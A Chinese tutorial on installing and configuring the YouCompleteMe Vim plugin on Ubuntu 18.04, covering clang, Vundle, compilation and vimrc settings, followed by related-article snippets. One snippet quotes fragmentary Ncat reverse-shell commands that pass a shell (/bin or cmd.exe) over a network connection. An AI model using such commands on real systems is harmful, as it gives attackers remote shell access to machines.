Ubuntu 安装YouCompleteMe
YCM git repo
https://github.com/Valloric/YouCompleteMe
YCM HomePage
https://valloric.github.io/YouCompleteMe/
Vundle git repo
https://github.com/VundleVim/Vundle.vim
材料
系统ubuntu18.04
补全语言C-family
vim --version 8.1
python3 -V 3.6
1,安装clang
ubuntu 系统没有预装clang,但是软件仓库有clang
这里采用命令行安装:
sudo apt install clang
安装完成后查看版本:
$ clang --version
clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)
Target: x86_64-pc-linux-gnu
Thread model: posix
InstalledDir: /usr/bin
2,安装YCM
使用Vundle安装
添加YCM插件名到vimrc中的Vundle插件安装区
'Valloric/YouCompleteMe'
Install Plugins:
Launch vim and run :PluginInstall
手动安装:
下载YCM
cd ~/.vim/bundle/
git clone https://github.com/Valloric/YouCompleteMe.git
下载YCM的依赖文件
git submodule update --init --recursive
3,编译YCM,支持 C-family languages:
cd ~/.vim/bundle/YouCompleteMe
python3 install.py --clang-completer
4,编辑vimrc
" ycm 指定 ycm_extra_conf.py
let g:ycm_global_ycm_extra_conf = '~/.vim/bundle/YouCompleteMe/third_party/ycmd/.ycm_extra_conf.py'
" 禁用syntastic来对python检查 let g:syntastic_ignore_files=[".*\.py$"] " 使用ctags生成的tags文件
let g:ycm_collect_identifiers_from_tag_files = 1
" 开启语义补全 " 修改对C语言的补全快捷键,默认是CTRL+space,修改为ALT+;未测出效果
"let g:ycm_key_invoke_completion = '<M-;>' " 设置转到定义处的快捷键为ALT+G,未测出效果
"nmap <M-g> :YcmCompleter GoToDefinitionElseDeclaration <C-R>=expand("<cword>")<CR><CR> "关键字补全
"let g:ycm_seed_identifiers_with_syntax = 1 " 在接受补全后不分裂出一个窗口显示接受的项
set completeopt-=preview
" 让补全行为与一般的IDE一致 set completeopt=longest,menu " 不显示开启vim时检查ycm_extra_conf文件的信息
let g:ycm_confirm_extra_conf=0
" 每次重新生成匹配项,禁止缓存匹配项 let g:ycm_cache_omnifunc=0 " 在注释中也可以补全
let g:ycm_complete_in_comments=1
" 输入第一个字符就开始补全 let g:ycm_min_num_of_chars_for_completion=1 " 错误标识符
let g:ycm_error_symbol='>>'
" 警告标识符 let g:ycm_warning_symbol='>*' " 不查询ultisnips提供的代码模板补全,如果需要,设置成1即可
" let g:ycm_use_ultisnips_completer=0
let g:ycm_semantic_triggers = { 'c' : ['->', '.']}
"---------------------
"The g:ycm_key_list_select_completion option
"This option controls the key mappings used to select the first completion string. Invoking any of them repeatedly cycles forward through the completion list.
let g:ycm_key_list_select_completion = ['<Enter>', '<Down>']
Ubuntu 安装YouCompleteMe的更多相关文章
- Ubuntu下如何安装YouCompleteMe插件
Ubuntu安装YouCompleteMe插件 简介: 众所周知, Vim是一款linux下的文本编辑器, 其最基础的工作就是编辑文本,而不管该文本的内容是什么. 在Vim被程序员所使用后,其慢慢的被 ...
- Ubuntu Vim YouCompleteMe 安装
0. 必要工具安装 sudo apt-get install build-essential cmake 1. 安装 vundle mkdir ~/.vim/bundle git clone http ...
- ubuntu 下安装 YouCompleteMe
1.安装用到的软件包 sudo apt-get install vim sudo apt-get install git sudo apt-get install subversion sudo ap ...
- Mac OS、Ubuntu 安装及使用 Consul
Consul 概念(摘录): Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,比如 Airbnb 的 SmartStac ...
- ubuntu安装mysql
好记性不如烂笔头,记录一下,ubuntu安装mysql的指令. 安装MySQL: sudo apt-get install mysql-server sudo apt-get install mysq ...
- ubuntu安装vim时提示 没有可用的软件包 vim,但是它被其它的软件包引用了 解决办法
ubuntu安装vim时提示 没有可用的软件包 vim-gtk3,但是它被其它的软件包引用了 解决办法 本人在ubuntu系统安装vim 输入 sudo apt-get install vim 提示 ...
- docker 1.8+之后ubuntu安装指定版本docker-engine
这边记录ubuntu安装过程,首先是官网文档 If you haven’t already done so, log into your Ubuntu instance. Open a termina ...
- debian/ubuntu安装桌面环境
apt-get install xorg apt-get install gnome 然后startx ubuntu 安装Gnome桌面 1.安装全部桌面环境,其实Ubuntu系列桌面实际上有几种桌面 ...
- 一个ubuntu phper的自我修养(ubuntu安装)
ubuntu安装篇 一.ubuntu下载 到ubuntu官网下载适合自己电脑配置的系统版本,此处不做展开. 二.制作USB启动盘 在windows下制作USB启动盘,工具是universal usb ...
随机推荐
- springboot上传文件 & 不配置虚拟路径访问服务器图片 & springboot配置日期的格式化方式 & Springboot配置日期转换器
1. Springboot上传文件 springboot的文件上传不用配置拦截器,其上传方法与SpringMVC一样 @RequestMapping("/uploadPicture&q ...
- Hack Programming
计算机由ROM(instruction memory).RAM(data memory).CPU组成,其关系如下图 在计算中存在3种寄存器:D.A.M.其中D是data register,A是addr ...
- ES6 + Webpack + React + Babel 如何在低版本浏览器上愉快的玩耍
https://blog.csdn.net/a324539017/article/details/52824189
- [HAOI2015]树上操作-树链剖分
#include<bits/stdc++.h> using namespace std; const int maxn = 1e6+5; #define mid ((l+r)>> ...
- js分析 天_眼_查 字体文件
0. 参考 js分析 猫_眼_电_影 字体文件 @font-face 1. 分析 1.1 定位目标元素 1.2 查看网页源代码 1.3 requests 请求提取得到大量错误信息 对比猫_眼_电_影抓 ...
- 你好!酷痞Coolpy 之 Linux篇
欢迎你进入酷痞的物联网世界.这里有着自由的空气和自然的气息.接下来我将告诉你如果一步步建立一个自己专属的物联网平台. 由于目前的酷痞的官方域名还没有通过备案所以现在用临时域名解说本说明. 最终酷痞的官 ...
- python运算符——比较运算符
比较运算符的运算结果会得到一个bool类型,也就是逻辑判定,要么是真True,要不就是False 大于“>” 小于“<” 不说了,看看不等于,用“!=”表示.大于等于“>=”和小 ...
- 使用Ncat反弹Shell
ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe
- JS变量重复声明以及忽略var 声明的问题及其背后的原理
腾讯的一个笔试题,先看一下 var a = 100; function fn() { alert(a); //undefined var a = 200; alert(a); //200 } fn() ...
- 对Spring运用的一些思考
最近使用spring总是遇到启动时启动不起来,或者启动起来一会就服务就关闭掉. 停下来想想不是spring不好复杂,而是我对它掌握不够,再有就是使用要尽量规范 使用配置文件,dao.manager.s ...